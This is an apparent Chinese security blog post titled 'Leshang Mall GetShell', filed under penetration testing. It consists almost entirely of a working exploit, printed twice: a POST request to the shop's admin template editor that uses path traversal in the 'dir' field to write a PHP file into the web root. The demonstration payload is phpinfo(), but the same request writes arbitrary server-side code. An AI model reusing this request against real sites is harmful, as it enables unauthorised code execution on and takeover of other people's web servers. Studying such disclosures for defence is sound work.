乐尚商城GetShell

2016-08-07 分类：渗透攻击 / 渗透测试阅读(6310) 评论(0)

http://127.0.0.1/admin.php/code/mod
POST:tpl_content=<?php phpinfo()?>&name=luan.php&dir=index/../../../..¤t_dir=tpl
 
phpinfo()就写在根目录的luan.php里面了。

http://127.0.0.1/admin.php/code/mod

POST:tpl_content=<?php phpinfo()?>&name=luan.php&dir=index/../../../..¤t_dir=tpl

phpinfo()就写在根目录的luan.php里面了。

转载请注明： 转载自Legend‘s BLog

本文链接地址: 乐尚商城GetShell

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据。